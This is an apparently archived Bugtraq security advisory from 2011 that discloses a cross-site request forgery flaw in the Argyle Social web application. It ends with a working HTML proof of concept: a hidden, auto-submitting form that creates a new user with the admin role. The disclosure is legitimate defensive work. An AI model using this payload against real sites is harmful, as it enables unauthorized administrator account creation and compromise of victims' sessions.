bugtraq - HTB22978: XSRF (CSRF) in Argyle Social

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Message-Id: <201105121109.p4CB9lr6022803@htbridge.ch>
Date: Thu, 12 May 2011 13:09:47 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22978: XSRF (CSRF) in Argyle Social

Vulnerability ID: HTB22978
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_argyle_social.html
Product: Argyle Social
Vendor: Argyle Social ( http://argylesocial.com/ ) 
Vulnerable Version: Current at 26/04/2011
Vendor Notification: 28 April 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the users creating script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://app.argylesocial.com/users/create/" method="post" name="main">
<input type="hidden" name="name" value="test">
<input type="hidden" name="email" value="email@...mple.com">
<input type="hidden" name="code" value="usercode">
<input type="hidden" name="role" value="admin">
</form>
<script>
document.main.submit();
</script>